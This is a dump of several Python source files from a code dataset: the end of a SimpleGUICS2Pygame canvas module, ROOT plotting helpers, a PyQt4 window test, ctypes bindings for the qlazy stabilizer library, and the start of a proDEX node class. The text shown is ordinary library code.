pygame.surface.Surface((diameter, diameter), # pylint: disable=too-many-function-args # noqa\n pygame.SRCALPHA) # pylint: disable=no-member # noqa\n\n if (pygamefillcolor is not None) and (pygamefillcolor.a > 0):\n pygame.draw.circle(s_alpha, pygamefillcolor,\n (radius, radius), radius,\n 0)\n if (pygamecolor != pygamefillcolor) and (pygamecolor.a > 0):\n pygame.draw.circle(s_alpha, pygamecolor,\n (radius, radius), radius,\n min(line_width, radius))\n\n self._pygame_surface.blit(s_alpha,\n (center_point_rounded[0] - radius,\n center_point_rounded[1] - radius))\n elif radius > 0: # == 1\n self.draw_point(center_point, line_color)\n\n def draw_image(self, # pylint: disable=too-many-arguments,too-many-locals,too-many-branches,too-many-statements # noqa\n image,\n center_source, width_height_source,\n center_dest, width_height_dest,\n rotation=0):\n # type: (Image, Sequence[Union[int, float]], Sequence[Union[int, float]], Sequence[Union[int, float]], Sequence[Union[int, float]], Union[int, float]) -> None # noqa\n \"\"\"\n Draw `image` on the canvas.\n\n Specify center position and size of the source (`image`)\n and center position and size of the destination (the canvas).\n\n Size of the source allow get a piece of `image`.\n If `width_height_source` is bigger than `image`\n then draw nothing.\n\n Size of the destination allow rescale the drawed image.\n\n `rotation` specify a clockwise rotation in radians.\n\n Each new Pygame surface used\n is added to `image._pygamesurfaces_cached`.\n See `Image._pygamesurfaces_cached_clear()`_ .\n\n .. _`Image._pygamesurfaces_cached_clear()`: image.html#SimpleGUICS2Pygame.simpleguics2pygame.image.Image._pygamesurfaces_cached_clear\n\n If number of surfaces in this caches\n is greater than `image._pygamesurfaces_cache_max_size`\n then remove the oldest surface.\n\n :param image: Image\n :param center_source: (int or float, int or float)\n or [int or float, int or float]\n :param width_height_source: ((int or float) >= 0, (int or float) >= 0)\n or [(int or float) >= 0, (int or float) >= 0]\n :param center_dest: (int or float, int or float)\n or [int or float, int or float]\n :param width_height_dest: ((int or float) >= 0, (int or float) >= 0)\n or [(int or float) >= 0, (int or float) >= 0]\n :param rotation: int or float\n \"\"\" # noqa\n assert isinstance(image, Image), type(image)\n\n assert isinstance(center_source, (tuple, list)), \\\n type(center_source)\n assert len(center_source) == 2, len(center_source)\n assert isinstance(center_source[0], (int, float)), \\\n type(center_source[0])\n assert isinstance(center_source[1], (int, float)), \\\n type(center_source[1])\n\n assert isinstance(width_height_source, (tuple, list)), \\\n type(width_height_source)\n assert len(width_height_source) == 2, len(width_height_source)\n assert isinstance(width_height_source[0], (int, float)), \\\n type(width_height_source[0])\n assert width_height_source[0] >= 0, width_height_source[0]\n assert isinstance(width_height_source[1], (int, float)), \\\n type(width_height_source[1])\n assert width_height_source[1] >= 0, width_height_source[1]\n\n assert isinstance(center_dest, (tuple, list)), type(center_dest)\n assert len(center_dest) == 2, len(center_dest)\n assert isinstance(center_dest[0], (int, float)), type(center_dest[0])\n assert isinstance(center_dest[1], (int, float)), type(center_dest[1])\n\n assert isinstance(width_height_dest, (tuple, list)), \\\n type(width_height_dest)\n assert len(width_height_dest) == 2, len(width_height_dest)\n assert isinstance(width_height_dest[0], (int, float)), \\\n type(width_height_dest[0])\n assert width_height_dest[0] >= 0, width_height_dest[0]\n assert isinstance(width_height_dest[1], (int, float)), \\\n type(width_height_dest[1])\n assert width_height_dest[1] >= 0, width_height_dest[1]\n\n assert isinstance(rotation, (int, float)), type(rotation)\n\n if image._pygame_surface is None: # pylint: disable=protected-access\n return\n\n # Calculate parameters\n width_source, height_source = width_height_source\n\n x0_source = center_source[0] - width_source / 2\n y0_source = center_source[1] - height_source / 2\n\n if x0_source >= 0:\n x0_source = int(round(x0_source))\n elif -1 < x0_source: # rounding error correcting\n width_source -= x0_source\n x0_source = 0\n else: # outside of source image\n return\n\n if y0_source >= 0:\n y0_source = int(round(y0_source))\n elif -1 < y0_source: # rounding error correcting\n height_source -= y0_source\n y0_source = 0\n else: # outside of source image\n return\n\n width_source = int(round(width_source))\n height_source = int(round(height_source))\n\n if ((x0_source + width_source > image.get_width() + 1) or\n (y0_source + height_source > image.get_height() + 1)):\n # Bigger than source image\n return\n\n if x0_source + width_source > image.get_width():\n # Keep this image (seem too big, maybe rounding error)\n width_source -= 1\n\n if y0_source + height_source > image.get_height():\n # Keep this image (seem too big, maybe rounding error)\n height_source -= 1\n\n width_height_dest = _pos_round(width_height_dest)\n\n rotation = int(round(-rotation * _RADIAN_TO_DEGREE)) % 360\n\n # Get in cache or build Pygame surface\n if sys.version_info[:2] >= (3, 2):\n move_to_end = image._pygamesurfaces_cached.move_to_end # pylint: disable=protected-access # noqa\n else:\n def move_to_end(key): # type: (int) -> None\n \"\"\"\n Move the `key` item to the newest place of the surfaces cache.\n\n :param key: tuple of 7 (int >= 0)\n \"\"\"\n del image._pygamesurfaces_cached[key] # pylint: disable=protected-access # noqa\n\n image._pygamesurfaces_cached[key] = pygame_surface_image # pylint: disable=protected-access # noqa\n\n key = (x0_source, y0_source, width_source, height_source,\n width_height_dest[0], width_height_dest[1],\n rotation)\n pygame_surface_image = image._pygamesurfaces_cached.get(key) # type: Optional[pygame.surface.Surface] # pylint: disable=protected-access # noqa\n\n if pygame_surface_image is not None: # Result available\n move_to_end(key)\n if __debug__:\n image._pygamesurfaces_cached_counts[0] += 1 # pylint: disable=protected-access # noqa\n else: # Build result\n key_0 = key[:-1] + (0, )\n if rotation != 0: # Get not rotated surface in cache\n pygame_surface_image = image._pygamesurfaces_cached.get(key_0) # pylint: disable=protected-access # noqa\n\n if pygame_surface_image is not None: # Not rotated available\n move_to_end(key_0)\n if __debug__:\n image._pygamesurfaces_cached_counts[1] += 1 # pylint: disable=protected-access # noqa\n else: # Build piece and/or resize\n if ((x0_source == 0) and (y0_source == 0) and\n (width_source == image.get_width()) and\n (height_source == image.get_height())):\n pygame_surface_image = image._pygame_surface # pylint: disable=protected-access # noqa\n else: # Get a piece in source\n pygame_surface_image = image._pygame_surface.subsurface( # pylint: disable=protected-access # noqa\n (x0_source, y0_source,\n width_source, height_source))\n\n if ((width_height_dest[0] != width_source) or\n (width_height_dest[1] != height_source)):\n # Resize to destination dimensions\n pygame_surface_image = pygame.transform.scale(\n pygame_surface_image, width_height_dest)\n\n image._pygamesurfaces_cached[key_0] = pygame_surface_image # pylint: disable=protected-access # noqa\n\n if (self._frame_parent and # pylint: disable=protected-access\n self._frame_parent._print_stats_cache and # pylint: disable=protected-access # noqa\n (len(image._pygamesurfaces_cached) == image._pygamesurfaces_cache_max_size)): # pylint: disable=protected-access # noqa\n image._print_stats_cache( # pylint: disable=protected-access # noqa\n 'Surfaces full cache ')\n elif len(image._pygamesurfaces_cached) > image._pygamesurfaces_cache_max_size: # pylint: disable=protected-access # noqa\n image._pygamesurfaces_cached.popitem(False) # pylint: disable=protected-access # noqa\n\n if rotation != 0: # Rotate\n pygame_surface_image = pygame.transform.rotate(\n pygame_surface_image, rotation)\n\n image._pygamesurfaces_cached[key] = pygame_surface_image # pylint: disable=protected-access # noqa\n\n if (self._frame_parent and # pylint: disable=protected-access\n self._frame_parent._print_stats_cache and # pylint: disable=protected-access # noqa\n (len(image._pygamesurfaces_cached) == image._pygamesurfaces_cache_max_size)): # pylint: disable=protected-access # noqa\n image._print_stats_cache( # pylint: disable=protected-access # noqa\n 'Surfaces full cache with rotated ')\n elif len(image._pygamesurfaces_cached) > image._pygamesurfaces_cache_max_size: # pylint: disable=protected-access # noqa\n image._pygamesurfaces_cached.popitem(False) # pylint: disable=protected-access # noqa\n\n # Draw the result\n self._pygame_surface.blit(\n pygame_surface_image,\n (int(round(center_dest[0] - pygame_surface_image.get_width() /\n 2)),\n int(round(center_dest[1] - pygame_surface_image.get_height() /\n 2))))\n if __debug__:\n image._draw_count += 1\n\n def draw_line(self,\n point1, point2,\n line_width, line_color):\n # type: (Sequence[Union[int, float]], Sequence[Union[int, float]], Union[int, float], str) -> None # noqa\n \"\"\"\n Draw a line segment from point1 to point2.\n\n :param point1: (int or float, int or float)\n or [int or float, int or float]\n :param point2: (int or float, int or float)\n or [int or float, int or float]\n :param line_width: (int or float) > 0\n :param line_color: str\n \"\"\"\n assert isinstance(point1, (tuple, list)), type(point1)\n assert len(point1) == 2, len(point1)\n assert isinstance(point1[0], (int, float)), type(point1[0])\n assert isinstance(point1[1], (int, float)), type(point1[1])\n\n assert isinstance(point2, (tuple, list)), type(point2)\n assert len(point2) == 2, len(point2)\n assert isinstance(point2[0], (int, float)), type(point2[0])\n assert isinstance(point2[1], (int, float)), type(point2[1])\n\n assert isinstance(line_width, (int, float)), type(line_width)\n assert line_width > 0, line_width\n\n assert isinstance(line_color, str), type(line_color)\n\n pygamecolor = _simpleguicolor_to_pygamecolor(line_color)\n\n if pygamecolor.a == 255: # without alpha\n pygame.draw.line(self._pygame_surface, pygamecolor,\n _pos_round(point1), _pos_round(point2),\n int(round(line_width)))\n elif pygamecolor.a > 0: # with alpha (not null)\n x1, y1 = _pos_round(point1)\n x2, y2 = _pos_round(point2) # pylint: disable=invalid-name # noqa\n\n width = abs(x2 - x1) + line_width * 2\n height = abs(y2 - y1) + line_width * 2\n\n x_min = min(x1, x2)\n y_min = min(y1, y2)\n\n s_alpha = pygame.surface.Surface((width, height), pygame.SRCALPHA) # pylint: disable=too-many-function-args,no-member # noqa\n pygame.draw.line(s_alpha, pygamecolor,\n (x1 - x_min + line_width,\n y1 - y_min + line_width),\n (x2 - x_min + line_width,\n y2 - y_min + line_width),\n int(round(line_width)))\n self._pygame_surface.blit(s_alpha,\n (x_min - line_width, y_min - line_width))\n\n def draw_point(self, position, color):\n # type: (Sequence[Union[int, float]], str) -> None\n \"\"\"\n Draw a point.\n\n :param position: (int or float, int or float)\n or [int or float, int or float]\n :param color: str\n \"\"\"\n assert isinstance(position, (tuple, list)), type(position)\n assert len(position) == 2, len(position)\n assert isinstance(position[0], (int, float)), type(position[0])\n assert isinstance(position[1], (int, float)), type(position[1])\n\n assert isinstance(color, str), type(color)\n\n pygamecolor = _simpleguicolor_to_pygamecolor(color)\n\n if pygamecolor.a == 255: # without alpha\n self._pygame_surface.set_at(_pos_round(position), pygamecolor)\n elif pygamecolor.a > 0: # with alpha (not null)\n s_alpha = pygame.surface.Surface((1, 1), pygame.SRCALPHA) # pylint: disable=too-many-function-args,no-member # noqa\n s_alpha.set_at((0, 0), pygamecolor)\n self._pygame_surface.blit(s_alpha, _pos_round(position))\n\n def draw_polygon(self,\n point_list,\n line_width, line_color,\n fill_color=None):\n # type: (Sequence[Sequence[Union[int, float]]], Union[int, float], str, Optional[str]) -> None # noqa\n \"\"\"\n Draw a polygon from a list of points.\n A segment is automatically drawed\n between the last point and the first point.\n\n If `fill color` is not None\n then fill with this color.\n\n If `line_width` > 1, ends are poorly made!\n\n :param point_list: not empty (tuple or list)\n of ((int or float, int or float)\n or [int or float, int or float])\n :param line_width: (int or float) > 0\n :param line_color: str\n :param fill_color: None or str\n \"\"\"\n assert isinstance(point_list, (tuple, list)), type(point_list)\n assert len(point_list) > 0, len(point_list)\n\n if __debug__:\n for point in point_list:\n assert isinstance(point, (tuple, list)), type(point)\n assert len(point) == 2, len(point)\n assert isinstance(point[0], (int, float)), type(point[0])\n assert isinstance(point[1], (int, float)), type(point[1])\n\n assert isinstance(line_width, (int, float)), type(line_width)\n assert line_width >= 0, line_width\n\n assert isinstance(line_color, str), type(line_color)\n assert (fill_color is None) or isinstance(fill_color, str), \\\n type(fill_color)\n\n if len(point_list) == 1:\n return\n\n pygamecolor = _simpleguicolor_to_pygamecolor(line_color)\n pygamefillcolor = (None if fill_color is None\n else _simpleguicolor_to_pygamecolor(fill_color))\n\n point_list_rounded = [_pos_round(point) for point in point_list]\n\n del point_list\n\n line_width = int(round(line_width))\n\n if ((pygamecolor.a == 255) and\n ((pygamefillcolor is None) or (pygamefillcolor.a == 255))):\n # Without alpha\n if pygamefillcolor is not None:\n pygame.draw.polygon(self._pygame_surface, pygamefillcolor,\n point_list_rounded, 0)\n if pygamecolor != pygamefillcolor:\n pygame.draw.lines(self._pygame_surface, pygamecolor, True,\n point_list_rounded, line_width)\n elif ((pygamecolor.a > 0) or\n ((pygamefillcolor is not None) and (pygamefillcolor.a > 0))):\n # With one or two alpha (not null)\n s_alpha = pygame.surface.Surface((self._width, self._height), # pylint: disable=too-many-function-args # noqa\n pygame.SRCALPHA) # pylint: disable=no-member # noqa\n\n if (pygamefillcolor is not None) and (pygamefillcolor.a > 0):\n pygame.draw.polygon(s_alpha, pygamefillcolor,\n point_list_rounded, 0)\n if (pygamecolor != pygamefillcolor) and (pygamecolor.a > 0):\n pygame.draw.lines(s_alpha, pygamecolor, True,\n point_list_rounded, line_width)\n\n self._pygame_surface.blit(s_alpha, (0, 0))\n\n def draw_polyline(self,\n point_list,\n line_width, line_color):\n # type: (Sequence[Sequence[Union[int, float]]], Union[int, float], str) -> None # noqa\n \"\"\"\n Draw line segments between a list of points.\n\n If `line_width` > 1, ends are poorly made!\n\n :param point_list: not empty (tuple or list)\n of ((int or float, int or float)\n or [int or float, int or float])\n :param line_width: (int or float) > 0\n :param line_color: str\n \"\"\"\n assert isinstance(point_list, (tuple, list)), type(point_list)\n assert len(point_list) > 0, len(point_list)\n\n if __debug__:\n for point in point_list:\n assert isinstance(point, (tuple, list)), type(point)\n assert len(point) == 2, len(point)\n assert isinstance(point[0], (int, float)), type(point[0])\n assert isinstance(point[1], (int, float)), type(point[1])\n\n assert isinstance(line_width, (int, float)), type(line_width)\n assert line_width > 0, line_width\n\n assert isinstance(line_color, str), type(line_color)\n\n if len(point_list) == 1:\n return\n\n pygamecolor = _simpleguicolor_to_pygamecolor(line_color)\n\n point_list_rounded = [_pos_round(point) for point in point_list]\n\n del point_list\n\n line_width = int(round(line_width))\n\n if pygamecolor.a == 255: # without alpha\n pygame.draw.lines(self._pygame_surface, pygamecolor, False,\n point_list_rounded, line_width)\n elif pygamecolor.a > 0: # with alpha (not null)\n s_alpha = pygame.surface.Surface((self._width, self._height), # pylint: disable=too-many-function-args # noqa\n pygame.SRCALPHA) # pylint: disable=no-member # noqa\n\n pygame.draw.lines(s_alpha, pygamecolor, False,\n point_list_rounded, line_width)\n\n self._pygame_surface.blit(s_alpha, (0, 0))\n\n def draw_text(self, # pylint: disable=too-many-arguments\n text, point,\n font_size, font_color,\n font_face='serif',\n _font_size_coef=3 / 4):\n # type: (str, Sequence[Union[int, float]], Union[int, float], str, str, Union[int, float]) -> None # noqa\n \"\"\"\n Draw the `text` string at the position `point`.\n\n (`point[0]` is the left of the text,\n `point[1]` is the bottom of the text.)\n\n If correponding font in Pygame is not founded,\n then use the default `pygame.font.Font`.\n\n `_font_size_coef` is used to adjust the vertical positioning.\n **(This paramater is not available in SimpleGUI of CodeSkulptor.)**\n\n :warning: This method can't draw multiline text.\n\n To draw multiline text, see `simplegui_lib_draw.draw_text_multi()`_ .\n\n .. _`simplegui_lib_draw.draw_text_multi()`: ../simplegui_lib_draw.html#SimpleGUICS2Pygame.simplegui_lib_draw.draw_text_multi\n\n :param text: str\n :param point: (int or float, int or float)\n or [int or float, int or float]\n :param font_size: (int or float) >= 0\n :param font_color: str\n :param font_face: str == 'monospace', 'sans-serif', 'serif'\n :param _font_size_coef: int or float\n\n :raise: ValueError if text contains unprintable whitespace character\n\n **(Alpha color channel don't work!!!)**\n \"\"\" # noqa\n assert isinstance(text, str), type(text)\n\n assert isinstance(point, (tuple, list)), type(point)\n assert len(point) == 2, len(point)\n assert isinstance(point[0], (int, float)), type(point[0])\n assert isinstance(point[1], (int, float)), type(point[1])\n\n assert isinstance(font_size, (int, float)), type(font_size)\n assert font_size >= 0, font_size\n\n assert isinstance(font_color, str), type(font_color)\n\n assert isinstance(font_face, str), type(font_face)\n assert font_face in _SIMPLEGUIFONTFACE_TO_PYGAMEFONTNAME, font_face\n\n assert isinstance(_font_size_coef, (int, float)), type(_font_size_coef)\n\n if text == '':\n return\n\n if _RE_UNPRINTABLE_WHITESPACE_CHAR.search(text):\n raise ValueError('text may not contain non-printing characters')\n\n pygamecolor = _simpleguicolor_to_pygamecolor(font_color)\n font_size = int(round(font_size))\n\n if (pygamecolor.a > 0) and (font_size > 0):\n pygame_surface_text = _simpleguifontface_to_pygamefont(\n font_face, font_size).render(text, True, pygamecolor)\n\n # if pygamecolor.a == 255: # without alpha\n self._pygame_surface.blit(\n pygame_surface_text,\n (point[0],\n (point[1] -\n pygame_surface_text.get_height() * _font_size_coef)))\n # else: # with alpha (not null)\n # # Don't work!!!\n # s_alpha = pygame.surface.Surface((pygame_surface_text.get_width(), # noqa\n # pygame_surface_text.get_height()), # noqa\n # pygame.SRCALPHA)\n # s_alpha.blit(pygame_surface_text, (0, 0))\n # self._pygame_surface.blit(\n # s_alpha,\n # (point[0],\n # (point[1] -\n # pygame_surface_text.get_height() * _font_size_coef)))\n\n\n#\n# SimpleGUI function\n####################\ndef create_invisible_canvas(width, height): # type: (int, int) -> Canvas\n \"\"\"\n NOT IMPLEMENTED!\n (Return a \"weak\" `Canvas`.)\n\n (Available in SimpleGUI of CodeSkulptor\n but *not in CodeSkulptor documentation*!)\n\n :param width: int >= 0\n :param height: int >= 0\n\n :return: Canvas\n \"\"\"\n assert isinstance(width, int), type(width)\n assert width >= 0, width\n\n assert isinstance(height, int), type(height)\n assert height >= 0, height\n\n return Canvas(None, width, height)\n","sub_path":"venv/lib/python3.8/site-packages/SimpleGUICS2Pygame/simpleguics2pygame/canvas.py","file_name":"canvas.py","file_ext":"py","file_size_in_byte":37054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"214790770","text":"\"\"\"\nversion : 1.0\ndescription : This file includes functions which are often used in plotting\n\n\"\"\"\nfrom ROOT import TH1D, TLatex, TPaveStats, TLine, TCanvas, gPad, gStyle\nimport math\n\n\ndef drawLatex(x=0.5, y=0.50, text=\"text\", size=0.035, font=132, color=1):\n tl = TLatex(x, y, text)\n tl.SetTextSize(size)\n tl.SetTextFont(font)\n tl.SetTextColor(color)\n tl.DrawLatexNDC(x, y, text)\n\n\ndef histo(xmin=0.0, xmax=10.0, ymin=1.0, ymax=10.0, xtitle=\"X\", ytitle=\"Y\"):\n haxis = TH1D(\"haxis\", \"\", 100, xmin, xmax)\n haxis.SetName(xtitle + ytitle)\n haxis.SetStats(0)\n haxis.SetLineColor(10)\n y = haxis.GetYaxis()\n y.SetRangeUser(ymin, ymax)\n y.SetTitle(ytitle)\n y.CenterTitle()\n y.SetTitleOffset(1.)\n y.SetTitleSize(0.04)\n # y.SetTitleFont()\n x = haxis.GetXaxis()\n x.SetTitle(xtitle)\n x.SetTitleOffset(.80)\n x.SetTitleSize(0.05)\n x.CenterTitle()\n return haxis\n\n\ndef frange(start, stop, step):\n i = start\n while i < stop:\n yield i\n i += step\n\n\ndef getPz(h, xmin, xmax, ymin, ymax, precision=1E-3):\n bin1 = h.GetXaxis().FindBin(xmin + precision)\n bin2 = h.GetXaxis().FindBin(xmax - precision)\n h.GetXaxis().SetRange(bin1, bin2)\n bin1 = h.GetYaxis().FindBin(ymin + precision)\n bin2 = h.GetYaxis().FindBin(ymax - precision)\n h.GetYaxis().SetRange(bin1, bin2)\n h2 = h.Project3D(\"z\")\n return h2\n\n\ndef getavg(h1, h2, option=1):\n '''\n\n :param h1: \n :param h2: \n :param option:1 arithmetical average;2 geo average;\n\n :return: \n '''\n h3 = TH1D()\n nbins1 = h1.GetNbinsX()\n nbins2 = h2.GetNbinsX()\n xmin1 = h1.GetXaxis().GetXmin()\n xmin2 = h2.GetXaxis().GetXmin()\n xmax1 = h1.GetXaxis().GetXmax()\n xmax2 = h2.GetXaxis().GetXmax()\n if (nbins1 == nbins2) and (xmin1 == xmin2) and (xmax1 == xmax2):\n h3.SetBins(nbins1, xmin1, xmax1)\n if (option == 2):\n for i in range(0, nbins1):\n a = h1.GetBinContent(i + 1)\n b = h2.GetBinContent(i + 1)\n c = 2 * math.sqrt(a * b)\n c_error = math.sqrt(a + b)\n h3.SetBinContent(i + 1, c)\n h3.SetBinError(i + 1, c_error)\n if (option == 1):\n h3.Add(h1, h2)\n\n return h3\n\n\ndef pave(x1, y1, x2, y2, *args, **text_style):\n pv = TPaveStats(x1, y1, x2, y2, \"brNDC\")\n pv.SetName(\"stats\")\n pv.SetOptStat(1101)\n pv.SetBorderSize(0)\n pv.SetFillColor(10)\n pv.SetTextAlign(11)\n pv.SetLineColor(0)\n for i in args:\n pv.AddText(i)\n t_style = {'size': 0.035, 'font': 132, 'color': 1}\n if (text_style):\n t_style.update(text_style)\n pv.SetTextSize(t_style['size'])\n pv.SetTextFont(t_style['font'])\n pv.SetTextColor(t_style['color'])\n return pv\n\n\ndef fit_pave(x1, y1, x2, y2, fun, **text_style):\n chh1 = \"#chi^{{2}} / ndf = {0:.2f} / {1}\".format(\n fun.GetChisquare(), fun.GetNDF())\n chh5 = \"N = {:.2E} #pm {:.2E}\".format(\n fun.GetParameter(0), fun.GetParError(0))\n chh6 = \"#mu = {:.3f} #pm {:.3f}\".format(\n fun.GetParameter(1), fun.GetParError(1))\n chh7 = \"#sigma = {:.3f} #pm {:.3f}\".format(\n fun.GetParameter(2), fun.GetParError(2))\n return pave(x1, y1, x2, y2, chh1, chh5, chh6, chh7, **text_style)\n\n\ndef drawLine(xlow, ylow, xup, yup, lineWidth, lineStyle, lineColor):\n L1 = TLine(xlow, ylow, xup, yup)\n L1.SetLineWidth(lineWidth)\n L1.SetLineColor(lineColor)\n L1.SetLineStyle(lineStyle)\n L1.Draw(\"same\")\n return L1\n\n\ndef setpad(left, right, top, bottom):\n gPad.SetFillColor(10)\n gPad.SetBorderMode(0)\n gPad.SetBorderSize(0)\n gPad.SetFrameFillColor(10)\n gPad.SetFrameBorderMode(0)\n gPad.SetFrameBorderSize(0)\n gPad.SetLeftMargin(left)\n gPad.SetRightMargin(right)\n gPad.SetTopMargin(top)\n gPad.SetBottomMargin(bottom)\n gPad.SetGridx(0)\n gPad.SetGridy(0)\n gStyle.SetOptStat(0)\n\n\ndef eff_err(m, N):\n v_e = (m + 1.) * (m + 2.) / ((N + 2.) * (N + 3.)) - math.pow((m + 1.) / (N + 2.), 2)\n return math.sqrt(v_e)\n\n\ndef shadow_hist_range(hist, xlow, xhigh, fill_style, fill_color):\n h = TH1D()\n h.SetName(hist.GetName() + \"_shadow\")\n x = h.GetXaxis()\n bin1 = x.FindBin(xlow)\n bin2 = x.FindBin(xhigh)\n x.SetRange(bin1, bin2)\n h.SetFillColor(fill_color)\n h.SetFillStyle(fill_style)\n return h\n\n\nif __name__ == '__main__':\n c = TCanvas()\n haxis = histo()\n haxis.Draw()\n l = drawLine(1, 2, 5, 5, 1, 1, 632)\n a = 2\n c.SaveAs(\"xxx.png\")\n","sub_path":"usefun.py","file_name":"usefun.py","file_ext":"py","file_size_in_byte":4503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"350680397","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"Test #01.\"\"\"\n\nimport sys\nfrom PyQt4 import QtGui\n\ndef main():\n \"\"\"Test #01.\"\"\"\n app = QtGui.QApplication(sys.argv)\n\n widget = QtGui.QWidget()\n widget.resize(250, 150)\n widget.setWindowTitle('simple')\n widget.show()\n\n sys.exit(app.exec_())\n","sub_path":"tests/t_01.py","file_name":"t_01.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"243292411","text":"# -*- coding: utf-8 -*-\nimport ctypes\nfrom ctypes.util import find_library\nimport pathlib\n\nfrom qlazy.Stabilizer import Stabilizer\nfrom qlazy.error import *\nfrom qlazy.config import *\nfrom qlazy.util import *\n\nlib= ctypes.CDLL(str(pathlib.Path(__file__).with_name('libqlz.'+get_lib_ext())))\nlibc = ctypes.CDLL(find_library(\"c\"),mode=ctypes.RTLD_GLOBAL)\n\ndef stabilizer_init(gene_num=None, qubit_num=None, seed=None):\n\n lib.init_qlazy(ctypes.c_int(seed))\n \n stab = None\n c_stab = ctypes.c_void_p(stab)\n \n lib.stabilizer_init.restype = ctypes.c_int\n lib.stabilizer_init.argtypes = [ctypes.c_int, ctypes.c_int, ctypes.c_int,\n ctypes.POINTER(ctypes.c_void_p)]\n ret = lib.stabilizer_init(ctypes.c_int(gene_num), ctypes.c_int(qubit_num),\n ctypes.c_int(seed), c_stab)\n\n if ret == FALSE:\n raise Stabilizer_Error_Initialize()\n \n # out = ctypes.cast(c_stab.value, ctypes.POINTER(Stabilizer))\n # return out.contents\n return c_stab\n\ndef stabilizer_copy(sb):\n\n try:\n stab = None\n c_stab = ctypes.c_void_p(stab)\n \n lib.stabilizer_copy.restype = ctypes.c_int\n lib.stabilizer_copy.argtypes = [ctypes.POINTER(Stabilizer),\n ctypes.POINTER(ctypes.c_void_p)]\n ret = lib.stabilizer_copy(ctypes.byref(sb), c_stab)\n\n if ret == FALSE:\n raise Stabilizer_Error_Clone()\n\n # out = ctypes.cast(c_stab.value, ctypes.POINTER(Stabilizer))\n # return out.contents\n return c_stab\n \n except Exception:\n raise Stabilizer_Error_Clone()\n\ndef stabilizer_set_pauli_fac(sb, gene_id, pauli_fac):\n\n lib.stabilizer_set_pauli_fac.restype = ctypes.c_int\n lib.stabilizer_set_pauli_fac.argtypes = [ctypes.POINTER(Stabilizer), ctypes.c_int,\n ctypes.c_int]\n ret = lib.stabilizer_set_pauli_fac(ctypes.byref(sb), ctypes.c_int(gene_id),\n ctypes.c_int(pauli_fac))\n\n if ret == FALSE:\n raise Stabilizer_Error_SetPauliFac()\n\n return ret\n \ndef stabilizer_get_pauli_fac(sb, gene_id):\n\n pauli_fac = REAL_PLUS\n c_pauli_fac = ctypes.c_int(pauli_fac)\n\n lib.stabilizer_get_pauli_fac.restype = ctypes.c_int\n lib.stabilizer_get_pauli_fac.argtypes = [ctypes.POINTER(Stabilizer), ctypes.c_int,\n ctypes.POINTER(ctypes.c_int)]\n ret = lib.stabilizer_get_pauli_fac(ctypes.byref(sb), ctypes.c_int(gene_id),\n ctypes.byref(c_pauli_fac))\n\n if ret == FALSE:\n raise Stabilizer_Error_GetPauliFac()\n\n pauli_fac = c_pauli_fac.value\n\n return pauli_fac\n\ndef stabilizer_set_pauli_op(sb, gene_id=None, qubit_id=None, pauli_op=None):\n\n lib.stabilizer_set_pauli_op.restype = ctypes.c_int\n lib.stabilizer_set_pauli_op.argtypes = [ctypes.POINTER(Stabilizer), ctypes.c_int,\n ctypes.c_int, ctypes.c_int]\n ret = lib.stabilizer_set_pauli_op(ctypes.byref(sb), ctypes.c_int(gene_id),\n ctypes.c_int(qubit_id), ctypes.c_int(pauli_op))\n\n if ret == FALSE:\n raise Stabilizer_Error_SetPauliOp()\n\n return ret\n\ndef stabilizer_get_pauli_op(sb, gene_id=None, qubit_id=None):\n\n pauli_op = IDENTITY\n c_pauli_op = ctypes.c_int(pauli_op)\n\n lib.stabilizer_get_pauli_op.restype = ctypes.c_int\n lib.stabilizer_get_pauli_op.argtypes = [ctypes.POINTER(Stabilizer), ctypes.c_int,\n ctypes.c_int, ctypes.POINTER(ctypes.c_int)]\n ret = lib.stabilizer_get_pauli_op(ctypes.byref(sb), ctypes.c_int(gene_id),\n ctypes.c_int(qubit_id), ctypes.byref(c_pauli_op))\n\n if ret == FALSE:\n raise Stabilizer_Error_GetPauliOp()\n\n pauli_op = c_pauli_op.value\n\n return pauli_op\n\ndef stabilizer_operate_qgate(sb, kind=None, q0=None, q1=None):\n\n lib.stabilizer_operate_qgate.restype = ctypes.c_int\n lib.stabilizer_operate_qgate.argtypes = [ctypes.POINTER(Stabilizer), ctypes.c_int,\n ctypes.c_int, ctypes.c_int]\n ret = lib.stabilizer_operate_qgate(ctypes.byref(sb), ctypes.c_int(kind),\n ctypes.c_int(q0), ctypes.c_int(q1))\n \n if ret == FALSE:\n raise Stabilizer_Error_OperateQgate()\n \ndef stabilizer_get_rank(sb):\n\n rank = 0\n c_rank = ctypes.c_int(rank)\n\n lib.stabilizer_get_rank.restype = ctypes.c_int\n lib.stabilizer_get_rank.argtypes = [ctypes.POINTER(Stabilizer),\n ctypes.POINTER(ctypes.c_int)]\n ret = lib.stabilizer_get_rank(ctypes.byref(sb), ctypes.byref(c_rank))\n \n if ret == FALSE:\n raise Stabilizer_Error_GetRank()\n\n rank = c_rank.value\n\n return rank\n \ndef stabilizer_measure(sb, q=None):\n\n prob = [0.0, 0.0]\n DoubleArray = ctypes.c_double * 2\n c_prob = DoubleArray(*prob)\n\n mval = 0\n c_mval = ctypes.c_int(mval)\n\n lib.stabilizer_measure.restype = ctypes.c_int\n lib.stabilizer_measure.argtypes = [ctypes.POINTER(Stabilizer), ctypes.c_int,\n DoubleArray, ctypes.POINTER(ctypes.c_int)]\n ret = lib.stabilizer_measure(ctypes.byref(sb), ctypes.c_int(q),\n c_prob, ctypes.byref(c_mval))\n \n if ret == FALSE:\n raise Stabilizer_Error_Measure()\n\n mval = c_mval.value\n\n return mval\n \ndef stabilizer_free(stab):\n\n lib.stabilizer_free.argtypes = [ctypes.POINTER(Stabilizer)]\n lib.stabilizer_free(ctypes.byref(stab))\n","sub_path":"qlazy/lib/stabilizer_c.py","file_name":"stabilizer_c.py","file_ext":"py","file_size_in_byte":5668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"77407387","text":"\n# proDEX is a probabilistic DEX methodology tool\n# written in Python\n# (subsumes the special research tools: pyDEXprob and pyDEXnum)\n# [Martin Znidarsic]\n# + mini adaptation for Python3 compliance\n\nclass Node:\n # class of proDEX node\n def __init__(self):\n self.name = None\n self.type = \"discrete\" # can be: \"discrete\", \"continuous\" or \"None\" for unknown\n self.values = [] # list 